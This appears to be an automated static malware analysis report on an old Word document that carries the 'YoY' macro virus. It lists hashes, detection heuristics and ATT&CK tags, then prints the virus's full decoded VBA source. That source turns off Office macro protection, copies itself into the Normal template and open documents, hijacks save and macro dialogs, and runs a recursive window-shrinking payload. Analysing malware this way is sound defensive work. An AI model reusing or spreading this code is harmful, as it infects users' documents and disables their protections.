Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3efb3437f16d344e…

MALICIOUS

Office (OLE)

31.5 KB Created: 2003-04-25 17:50:00 Authoring application: Microsoft Word 10.0 First seen: 2012-06-14
MD5: 79593187759282db228a24425b51614e SHA-1: 299c3bfaa17dfa0359d16d656b0e696ca83e747c SHA-256: 3efb3437f16d344e00ff9fdfc344142d8ef89666f8ac91931050feb275720bd3
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro markers and VBA macros, including AutoOpen, AutoClose, and AutoNew, indicating a malicious document. The VBA script attempts to export itself to the Word application directory as 'YoY.drv' and checks for the existence of '~.~', suggesting an attempt to download or execute a second-stage payload. The presence of AutoOpen and AutoClose macros points towards an attempt to establish persistence or execute malicious code upon document opening or closing.

Heuristics 6

  • ClamAV: Doc.Trojan.Yoy-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Yoy-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
          Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3269 bytes
SHA-256: 733b9f2b2353035d025f80e466bb7e34aa85133b3c730fec058a80739cde74fd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "YoY"
' Macro.YoY virus by AlEkS_kEyS v 2.0
Sub YoY()
 On Error Resume Next
 If (Dir(Word.Application.Path + "\~.~") = "") Then

      Options.VirusProtection = False
      Application.Caption = "MicroYoY Wordys"
      Options.ConfirmConversions = False
     ActiveDocument.ReadOnlyRecommended = False
    Options.SaveNormalPrompt = False

  path_1 = Word.Application.Path + "\YoY.drv"
     Call expo_

           Set per_2 = ActiveDocument.VBProject.VBComponents
           Set per_1 = NormalTemplate.VBProject.VBComponents

        With Dialogs(wdDialogFileSummaryInfo)
          .Title = "Little YoY"
          .Execute
        End With
    If Left(Date, 2) = "25" Or Left(Date, 2) = "05" Then Call Msg

    If ActiveDocument.VBProject.VBComponents.Item("YoY").Name <> "YoY" Then AD = True
    If NormalTemplate.VBProject.VBComponents.Item("YoY").Name <> "YoY" Then NT = True

    If NT = False And AD = True Then Set imp_ = per_2
    If NT = True And AD = False Then Set imp_ = per_1


       imp_.import path_1

    If AD = False Then If NormalTemplate.Saved = False Then NormalTemplate.Save

 End If
End Sub
Sub expo_()
 On Error Resume Next
 ActiveDocument.VBProject.VBComponents("YoY").Export (Word.Application.Path + "\YoY.drv")
End Sub

Sub AutoOpen()
 On Error Resume Next
 Call YoY
End Sub

Sub AutoNew()
 On Error Resume Next
 Call YoY
End Sub

Sub AutoClose()
 On Error Resume Next
 Call YoY
End Sub

Sub FileSaveAs()
    On Error Resume Next
    Dialogs(wdDialogFileSaveAs).Show
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub

Sub FileSave()
    On Error Resume Next
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub

Sub FileTemplates()
 On Error Resume Next
 Call YoY
 Call Koy
End Sub

Sub ToolsMacro()
 On Error Resume Next
 Call YoY
 Call Koy
 Call Msg
End Sub

Sub ViewVBCode()
 On Error Resume Next
 Call YoY
 Call Koy
 Call Msg
End Sub

Sub Koy()
 On Error Resume Next
 ActiveWindow.Close SaveChanges:=SaveChanges
End Sub

Sub Msg()
On Error Resume Next
Application.Move Left:=0, Top:=0
    Application.Resize Width:=8, Height:=1
    Application.Move Left:=100, Top:=75
    Application.Resize Width:=7, Height:=2
    Application.Move Left:=200, Top:=150
    Application.Resize Width:=6, Height:=3
    Application.Move Left:=300, Top:=225
    Application.Resize Width:=5, Height:=4
    Application.Move Left:=400, Top:=300
    Application.Resize Width:=4, Height:=5
    Application.Move Left:=500, Top:=375
    Application.Resize Width:=3, Height:=6
    Application.Move Left:=600, Top:=450
    Application.Resize Width:=2, Height:=7
    Application.Move Left:=700, Top:=525
    Application.Resize Width:=1, Height:=8
    Application.Move Left:=800, Top:=600
Call ReQQ
End Sub

Sub ReQQ()
 On Error Resume Next
Call Msg
End Sub